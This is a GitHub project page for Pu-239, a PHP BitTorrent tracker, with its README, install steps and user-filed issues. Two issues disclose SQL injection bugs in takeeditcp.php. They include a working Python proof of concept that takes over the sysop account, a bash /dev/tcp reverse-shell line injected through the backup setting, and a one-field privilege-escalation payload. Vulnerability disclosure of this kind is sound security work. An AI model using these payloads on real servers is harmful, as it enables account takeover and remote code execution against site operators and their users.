darkalchemy / pu-239

A Bittorent Tracker based on U-232 V4.

Pu-239 v0.7.0

I am no longer developing this code. But, if there are enough people willing to contribute their time and energy to help with this source, I would be willing to get active again.

This is a torrent tracker written in PHP. Also included is a realtime chat(AJAX Chat), Private Messaging System, Message Boards(Forums), Arcade, Lottery and Casino.
The primary goal of this project is to give the site owner a means to create a community around sharing torrents, with the hopes of encouraging and engaging the userbase to participate in the discussion.

Table of Contents

• Goals
• Before Installing
• Installing
• Updating
• User Roles
• Making Changes
• API's
• Production Mode
• Cache Engines
• Image Proxy
• CLI Scripts
• Notes
• Translations
• Credits
• Patrons
• Wiki

I am using Ubuntu 20.04 LTS, PHP 7.4, Percona MySQL 8.0, nginx 1.18.0 for developing this code. You may need to adjust the instructions below to fit you current server setup.

Goals:

1. Update to PHP 7.4 - default settings
2. Error free with MySQL 8.0 strict mode - default settings - Mostly Done
3. Remove merged bootstrap
4. Update jquery
5. Update all javascript files to remove jquery dependency
6. Merge, minify and gzip css/js files to reduce size and requests(not as important if http2 is enabled)
7. Replace manual concat/gzip of css/js file with uglifyjs
8. Optimize all images for web
9. Remove js from head and relocate to body - Mostly done
10. Remove Simple Captcha
11. Fully responsive and mobile ready
12. Drag and Drop Image Upload
13. Allow use of unix sockets for all local server connections
14. Proper validation of user input - In progress
15. Replace mysql with PDO/FluentPDO - In progress

This is a fork of U-232 V4.
PHP 7.3+ is required.
MySQL 5.6 is required. MySQL 8.0 recommended.
Composer is required. Version ^2.0.8.
NPM/NPX is required and comes with nodejs. Version ^6.14.10.
This code explicitly sets the php default timezone to 'UTC'. Further down, you will set MySQL default timezone to the same. It is very important that PHP and MySQL be set to the same time, else your site will display incorrect times to your users.
A simple bash script to install everything required to host Pu-239 is here and can be used to jump start the installation process.
A simple php script to upload to Pu-239 is here.
A quick site intro video is available here. (Outdated)
If you like this project, please consider supporting me on Patreon

Prior to install:

Please log in as a non-privileged user, NOT root, to install this. Please read this entire document before installing.

# required apps
jpegoptim, optipng, pngquant, gifsicle, imagemagick

# required php extensions
php-gd, php-xml, php-json, php-mbstring, php-mysqli, php-zip, php-simplexml, php-curl, php-exif, php-bz2, php-imagick, php-common, php-readline, php-gettext, php-intl

# cache repositories(optional)
redis, php-redis
memchached, php-memcached
APCu
couchbase(untested)
file(FlySystem)

# data storage
MySQL, MariaDB or Percona MySQL
Adminer is included, only user #1 has access, others can be added, by id

To Install:

# get the files
git clone https://github.com/darkalchemy/Pu-239.git

# move into the install folder
cd Pu-239

# install dependencies
composer install -a
npm install

# set webroot to path Pu-239/public
an example Nginx Configuration: https://github.com/darkalchemy/Pu-239/wiki/NGINX-Config
 
# add charset to [mysqld] section of mysql.cnf
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci

# add/modify these in [mysqld] to increase max size for index(required)
innodb_file_format = Barracuda # Percona removed this in 8.0, MariaDB deprecated this in 10.2 and removed in 10.3
innodb_large_prefix = 1 # Percona removed this in 8.0, MariaDB deprecated this in 10.2 and removed in 10.3
innodb_file_per_table = 1

# add/modify this in [mysqld] to increase payload capacity
max_allowed_packet = 128M ## this may need to be increased as your user count increases

# add/modify this in [mysqld] to stop autoincrement on insert ignore(optional)
innodb_autoinc_lock_mode = 0

# set timezone to UTC to match PHP
default_time_zone='+00:00'

# to enable fulltext searches of 3 character words
innodb_ft_min_token_size = 3

# restart mysql for changes to take effect
sudo service mysql restart

# create database
CREATE DATABASE Pu-239;

# set ownership
sudo chown -R $USER:www-data ../Pu-239

# install
php bin/install.php install

# set permissions and create necessary files
sudo php bin/set_perms.php
php bin/uglify.php 

# goto admin cleanup and activate/deactivate scripts, they are initially enabled and set to last midnight

# add cron job to root cron for running cleanup, please change path as needed
sudo crontab -e

# runs jobby.php every minute, if not already running
* * * * * cd /var/www/Pu-239/bin/ && /usr/bin/php jobby.php 1>> /dev/null 2>&1

# import additional tables
php bin/import_tables.php

To Update:

# get the files
# how you do this step will depend how you did it initially, I personally run in a git repository
cd Pu-239
git pull

# compare config/config.php with config/config_example.php for changes
# check CHANGELOG for anything that needs to be done first
# check to see if there are any database updates, from the staff panel or php bin/update_db.php
# personally, I just run 'php bin/update_db.php complete' and it runs all of the queries, until complete or 1 fails
php bin/update_db.php complete

# update dependencies:
composer install (production mode add: --no-dev)
npm install
sudo rm -rf /dev/shm/php-di
sudo php bin/set_perms.php
php bin/uglify.php
sudo rm -rf /dev/shm/php-di

# update additional tables, if desired          
php bin/import_tables.php

# occasionally you may need to remove bad images
php bin/validate_images.php

User Roles:

• Coder : Has access to the site, very similar to that of a Sysop
• Forum Mod : Can moderate forum posts
• Torrent Mod : Can moderate torrents and their descriptions
• Internal : Required to post to the Cooker
• Uploader : Required to upload to the site

Making Changes:

After updating composer, npm, changing anything inside the config or app folder, changing anything inside the staffpanel, you must delete the php-di cache. If you have set PRODUCTION = true.
sudo rm -rf /dev/shm/php-di

Making Changes to css/js files:

Make any edits or changes to the files in templates and scripts folder, then to concatenate, minify and gzip the files for use, run:
php bin/uglify.php

API's:

Fanart.tv API provides posters, backgrounds and banners. A Project API Key is required.
TMDb API allows upcoming movies and posters. An API Key is required.
Google API allows up to 1000 api hits instead of 100 per day. An API Key is optional.
IMDb API allow movies and tv lookup. No API Key necessary.
TVMaze allows tv lookup and posters. No API Key necessary.
API keys are set in the Staff Panel -> Site Settings.

Production Mode:

Production creates minified javascript and css files when running uglify.php.
After changing the setting 'PRODUCTION', you will need to run php bin/uglify.php to concatenate, minify and gzip the files for use.
config/define.php define('PRODUCTION', false);
This also creates a cache for php-di, significantly improving its performance.

Cache Engines:

memory, couchbase, apcu, memcached, redis or file. 'memory' is set as the default and is set in the config.php file. memory cache is only for testing and is not a real cache as it expires at the end of the request. Trivia will not run while using the memory cache. In order to use any cache engine besides 'file' and 'memory', you must first install the appropriate driver and php extensions.

Image Proxy:

An image proxy for hot linked images is built in and enabled by default, disable/enable in Staff Panel -> Site Settings. This allows for browser image caching and keeps from breaking https security with http images.
$site_config['site']['image_proxy'] = true;

CLI Scripts:

• clear_cache.php : clears the entire cache that is currently in use
• import_tables.php : can import any table listed as an argument or imports trivia and tvmaze by default
• install.php : installs/re-installs the site
• jobby.php : runs all of the sites cleanup scripts through cron
• optimize_resize_images.php : creates an optimized version and multiple sizes of each image in the images table, this is done automatically during cleanup
• remove_altered_images.php : removes every image that is not in the images table
• remove_torrents.php : removes all torrents, truncates tables and removes all traces of all torrents
• set_perms.php : ensures all files have correct the user:owner and permissions set, also removes the DI_CACHE_DIR directory
• uglify.php : generates the needed js/css files seen in public/js and public/css, also removes the DI_CACHE_DIR directory
• update_db.php : updates the database to the current schema
• usersfix.php : adds users to userblocks and usersachiev tables, usually not needed
• validate_images.php : verifies the images in public/images/proxy/ are valid images, removes those that may be invalid
• localize.sh : create and update locale files

Notes:

If sudo is necessary to run uglify.php without errors, then you have the permissions set incorrectly. See the wiki for a brief example.

IP Addresses

With the exception of the peers table, this project does not store the IP address of any user in the database. In addition, the users IP is not stored by default, the site administrator must manually change this setting to store IP addresses using memcached.
In time, the peers table will also be replaced with memcached, so that no IP will stored in the database.

Translations:

This project uses gettext to manage text strings. Unfortunately, it is not yet 100%. There are still quite a few hard coded strings left here and there.
If you would like to see a specific translation or assist with a current translation, please join us at Transifex.
Transifex was kind enough to provide this project with a free open source license.

Credits:

All Credit goes to the original code creators of U-232, tbdev, etc. Without them, this would not be possible.

Patrons:

Nico, Ben9, superlarsen, suiziide, RememberForgottenHits

pu-239's Issues

French language integration

Hello,
would it be possible to add the french language
thank you.

Register broken !?

Register broken again !? It seems my acct is not anymore on the test site and when i want to register it simply does a loop on the page

I've found a few other minor bugs...

Hi,
I've found a few other minor bugs. I uploaded screenshots to imgur.com an album what can be viewed from this link https://imgur.com/a/LpEQtop

I really like your work pu-239, this is the best I've ever met.

Exception when sending invites

Hi, when i try to send a invite i get a exception;

Error
Cannot access protected property PHPMailer\PHPMailer\PHPMailer::$smtp

Error
/var/www/html/include/function_html.php:480
send_mail()
/var/www/html/public/invite.php:202

/var/www/html/include/function_html.php
} catch (Exception $e) {
$mail->smtp->reset();

        return false;
    }
    $mail->addReplyTo($site_config['site']['email']);
    $mail->isHTML(true);
    $mail->Subject = $subject;
    $mail->Body = $html;
    $mail->AltBody = $plain;
    try {
        $mail->send();

        return true;
    } catch (Exception $e) {
        $mail->smtp->reset();       <<<< this is where error exception occurs

        return false;
    } finally {
        $mail->clearAddresses();
    }
}

return false;

}

/**
*

• @param int $id
• @param string $code

Language file import?

How to import/upload language file?

can't upload torrent

Fatal error: Uncaught PDOException: SQLSTATE[HY000]: General error: 1366 Incorrect string value: '\xDC \xDF ...' for column 'nfo' at row 1

/vendor/envms/fluentpdo/src/Queries/Base.php on line 539

this is a new installation used with your bash script

Option to change tvmaze id

hi, i started using pu-239 and its great, but noticed that theres some mismatches when matched to tv maze, would it be possible to manually change the tv maze id it found so we can fix any mismatches?

Chinese username registration problem

The Chinese user name registration input box prompts Username Available, but when I click to register, I still have a problem with the user name input.

INSERT SQLi leading to full RCE

First off, the quality of the code in this repo is abysmal. I recommend that no one uses this tracker and that no one signs up as a user for a tracker using this software.

PoC for changing email and password of id 1 (sysop most likely):

import requests
s = requests.session()

login_data = {
	"email":"EMAIL",
	"use_ssl":"1",
	"password":"PASSWORD",
	"remember":"1",
}
req = s.post("https://url.com/login.php", data=login_data)

url = "https://url.com/takeeditcp.php"

headers = {
	"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
	"Accept-Encoding": "gzip, deflate, br",
	"Accept-Language": "en-US,en;q=0.9,da;q=0.8",
	"Content-Type": "application/x-www-form-urlencoded",
	"Origin": "https://url.com",
	"Referer": "https://url.com/usercp.php?action=security",
	"User-Agent": "Something",
}

data = {
	"action": "security",
	"hidecur": "no",
	"paranoia": "2",
	"email": "EMAIL", #Must match the email of the user executing the exploit.
	"chmailpass": "",
	"show_email": "no",
	"password": "",
	"confirm_password": "",
	"current_pass": "",
	"updateset[]": "email = '[email protected]' where id = 1--", #Set email for sysop (uid 1)
	#"updateset[]": "password = '$2y$10$ZLtPsOohPZgMs/JCOug1t.SBAW.mN1L2vO8Ix7VjsRbkqmQBPy3oG' where id = 1--", #Set password to 12345678
}

req = s.post(url,  headers=headers, data=data)

# Login again to clear cache, required when changing some user properties
s = requests.session()
req = s.post("https://url.com/login.php", data=login_data)
url = "https://url.com/takeeditcp.php"

Afterwards, login with your new credentials and you are sysop. To get remote code execution, go to site_settings -> backup and change the parameter for the mysqldump command to a reverse shell, for example:

bash -i >& /dev/tcp/[YOUR IP]/443 0>&1 && /usr/bin/mysqldump

Start a listener on your server:
sudo nc -nvlp 443

To trigger it, go to db backup on the site and create a new backup. You'll now have shell access on the server as www-data (or similar).

The cause of the SQLi is of course extract($_POST), something that everyone has known should not be done for 10 years. The reason for the SQLi is just straight up passing user input to exec().

Fixing these two issues will not fix pu-239, as there are so many other issues. But here you go I guess.

When I tried to add links to files in other languages, the access prompts the following error

When I tried to add links to files in other languages, the access prompts the following error

$HTMLOUT .= tr($lang['usercp_language'], "

                                        <select name='language' class='w-100'>
                                            <option value='1'" . ($current_lang == '1' ? ' selected' : '') . '>English</option>
											<option value='4'" . ($current_lang == '4' ? ' selected' : '') . '>Simplified Chinese</option>
                                        </select>', $current_lang);

``Parse error: syntax error, unexpected '4' (T_LNUMBER), expecting ',' or ')' in /www/wwwroot/t/public/usercp.php on line 290

How can I modify it to add language file selection to the registration and login pages?

Not compatible with MariaDB 10.3

There is an issue with MariaDB 10.3. Some of the settings required are deprecated in 10.3. They are these:
innodb_file_format = Barracuda
and
innodb_large_prefix = 1

mysql won't start with either of those added. Without them you can only get to the Database screen of the installation.

I'm going to try downgrading MariaDB to 10.2 in the morning and see if that works.

Allow Chinese characters in username

Request:

Allow additional characters in username, such as Chinese and Cyrillic

Readme

Fix typos in readme.

After leaving thank you and comment im see error page?!

I pressed the thank you button on the torrent detailed page and leaving comment. After that, I clicked the link to the homepage and I see this picture bellowe. How it fix?

Hi, thanks for answering and quick response and fix problem. But now there's a problem with row 58.

Hi, thanks for answering and quick response and fix problem. But now there's a problem with row 58.
Is there that's get_date((int) $added, the problem?

Im using autoinstaller https://github.com/darkalchemy/Pu-239-Installer and ubuntu 18.04
Sorry, but i no can reopen old issue

Originally posted by @RememberForgottenHits in #16 (comment)

Newest User Block

The newest user block shows user id instead of formatted user name.

Navbar

The navbar on mobile devices should be collapsed by default instead of fully expanded.

problem how to fix it? whats wrong

im trying to revert from u232 v5 to yours
PHP Warning: Use of undefined constant TIME_NOW - assumed 'TIME_NOW' (this will throw an Error in a future version of PHP) in /var/www/html/src/Session.php on line 88
PHP Warning: A non-numeric value encountered in /var/www/html/src/Session.php on line 88
PHP Warning: PDOStatement::execute(): SQLSTATE[HY093]: Invalid parameter number in /var/www/html/vendor/envms/fluentpdo/src/Queries/Base.php on line 514
PHP Fatal error: Uncaught Exception: Objects returned by Envms\FluentPDO\Queries\Select::getIterator() must be traversable or implement interface Iterator in /var/www/html/include/site_settings.php:50\nStack trace:\n#0 /var/www/html/include/bittorrent.php(49): require_once()\n#1 /var/www/html/rss.php(19): require_once('/var/www/html/i...')\n#2 {main}\n thrown in /var/www/html/include/site_settings.php on line 50
ubuntu 16
php 7.2

SQLi in takeeditcp.php

Pu-239/public/takeeditcp.php

Lines 350 to 354 in fbf91ce

	if (isset($_POST['ajaxchat_height']) && (($ajaxchat_heightpp = $_POST['ajaxchat_height']) != $user['ajaxchat_height'])) {
	$updateset[] = "ajaxchat_height = $ajaxchat_heightpp";
	$curuser_cache['ajaxchat_height'] = $ajaxchat_heightpp;
	$user_cache['ajaxchat_height'] = $ajaxchat_heightpp;
	}

ajaxchat_heightpp is never sanitized.

PoC:

Go to http://[TRACKERURL]/usercp.php?action=personal and change AJAX Chat height to 1337, class=11. Then log out and back in and you are now sysop.

Invalid form data...

Im trying to make account on the test site and everytime it says invalid form data..hmm
P.s My old acct doesn't work anymore.
edit: fixed.

Banner Scroller

There seems to be a bug in glidejs - that's the banner scroller above, if you resize the browser, the image is the correct size, but refresh without resize and the image is too narrow.

schema.sql.gz missing

Hello,

I'm trying to install the script, but I have this error message during the install process:

Importing: schema
sh: 1: cannot open /var/www/*********/database/schema.sql.gz: No such file

The file is well missing in the database folder.
Can you help me please?

Thanks.